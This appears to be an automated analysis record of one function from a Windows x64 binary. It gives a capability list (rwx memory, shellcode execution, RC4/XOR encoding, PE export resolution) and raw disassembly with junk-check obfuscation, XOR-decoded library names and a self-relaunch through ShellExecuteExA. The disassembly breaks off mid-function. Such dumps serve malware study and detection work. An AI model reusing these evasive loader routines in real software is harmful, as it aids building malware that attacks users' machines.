Function at 0x140029258
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140098190
sub rsp, rax
mov rax, qword [0x1400f0700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x3c]
mov esi, 0xc781a205
mov ebx, 0x3450d54d
mov r12d, 0x13d4ec0d
mov r14d, 0x59d65afc
cmp rax, rsi
jne 0x140029363
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029343
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029343
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029363
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov edi, 0xc781a205
mov ecx, edi
call fcn.140006d14
mov rax, qword gs:[0x3c]
mov r13d, 0x79aa73bc
cmp rax, rsi
jne 0x14002941f
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400293ff
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400293ff
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002941f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
movabs r15, 0xfd0e4b779cf2199c
cmp rax, rsi
jne 0x1400294d3
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400294b3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400294b3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400294d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov ecx, edi
call fcn.140028860
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x140029593
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029573
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029573
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029593
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002963d
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002961d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002961d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002963d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
lea rdx, [0x1400e2850]
lea rcx, [rbp + 0x998]
call fcn.1400066d8
mov rdx, rax
mov ecx, edi
call fcn.140008e54
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x140029713
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400296f3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400296f3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029713
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x1400297bd
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002979d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002979d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400297bd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov dword [rbp + 0x90], 0xdb122423
mov dword [rbp + 0x94], 0xb443b96f
mov word [rbp + 0x98], Ordinal_45
xor r14d, r14d
mov edi, r14d
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140038c88
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x1400297ea
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x3c]
cmp rax, rsi
mov r13d, 0x79aa73bc
jne 0x1400298f3
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400298d3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400298d3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400298f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002999d
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002997d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002997d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002999d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov dword [rbp + 0x1f0], 0x62a7aad7
mov dword [rbp + 0x1f4], 0x51eb30cb
mov dword [rbp + 0x1f8], 0x3fc51e36
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
movabs r15, 0x12157fd01
mov qword [rsp + 0x20], r15
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400388e4
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x1400299d0
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x3c]
cmp rax, rsi
movabs r15, 0xfd0e4b779cf2199c
jne 0x140029acc
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029aac
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029aac
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029acc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140028a1c
test eax, eax
jne 0x140029d78
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c19f0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140029be9
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c19f0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0x9c665b29
mov word [rbp - 0x6c], Ordinal_45
movabs rsi, 0x12157fd01
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140038c14
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140029b59
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14003856b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140029bf3
movabs rsi, 0x12157fd01
mov word [rsp + 0x78], 0x50
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x50
lea rcx, [rsp + 0x78]
call fcn.140038abc
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14002889c
mov rbx, rax
movdqa xmm0, xmmword [0x1400e6010]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400e6030]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xc44ab617
mov dword [rbp + 0xc1c], 0x92d70dbe
mov dword [rbp + 0xc20], 0x28d11c34
mov word [rbp + 0xc24], Ordinal_211
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140038ba0
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140029c78
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140039c34
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140039df4
lea rcx, [rbp + 0x9d8]
call fcn.14003974c
lea rcx, [rbp + 0x9b8]
call fcn.14003974c
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xfe
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14003869c
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140029d11
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.1400393a0
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x140029e22
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029e02
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029e02
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029e22
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x140029ee3
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029ec3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029ec3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029ee3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x140029f8d
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029f6d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029f6d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029f8d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a037
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a017
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a017
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a037
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a0f2
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a0d2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a0d2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a0f2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
xor ecx, ecx
call fcn.14009fc64
mov rbx, rax
mov word [rsp + 0x7c], recv
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0xb
lea rcx, [rsp + 0x7c]
call fcn.140038abc
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0x36c2ed9c
mov word [rbp - 0x5c], 0x3deb
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14003895c
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14002a145
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a3144
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a236
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a216
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a216
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a236
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a2f3
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a2d3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a2d3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a2f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov ecx, 2
call fcn.14009fc64
mov rbx, rax
mov word [rbp - 0x80], recv
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, ntohs
lea rcx, [rbp - 0x80]
call fcn.140038abc
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0xcf4b7617
mov dword [rbp - 0x34], 0x38ca4b
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140038b2c
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14002a341
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a3144
mov rax, qword gs:[0x3c]
cmp rax, rsi
mov r13d, 0x79aa73bc
jne 0x14002a437
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a417
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a417
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a437
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a4e1
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a4c1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a4c1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a4e1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov ecx, 1
call fcn.14009fc64
mov rbx, rax
mov word [rbp - 0x7c], recv
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, ntohs
lea rcx, [rbp - 0x7c]
call fcn.140038abc
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0xcf4b7617
mov dword [rbp - 0x2c], 0x38ca4b
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140038b2c
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14002a52f
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a3144
mov rax, qword gs:[0x3c]
cmp rax, rsi
mov r13d, 0x79aa73bc
jne 0x14002a638
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a618
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a618
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a638
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a6e2
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a6c2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a6c2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a6e2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5d90]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400e5f70]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400e5e30]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x843248b
mov dword [rbp + 0xd4c], 0x4615a5ae
mov dword [rbp + 0xd50], 0xc7a0c576
mov word [rbp + 0xd54], 0x7923
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
movabs rbx, 0x12157fd01
mov qword [rsp + 0x20], rbx
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140038a48
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14002a74e
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.14000657c
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a83f
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a81f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a81f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a83f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002a8fc
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
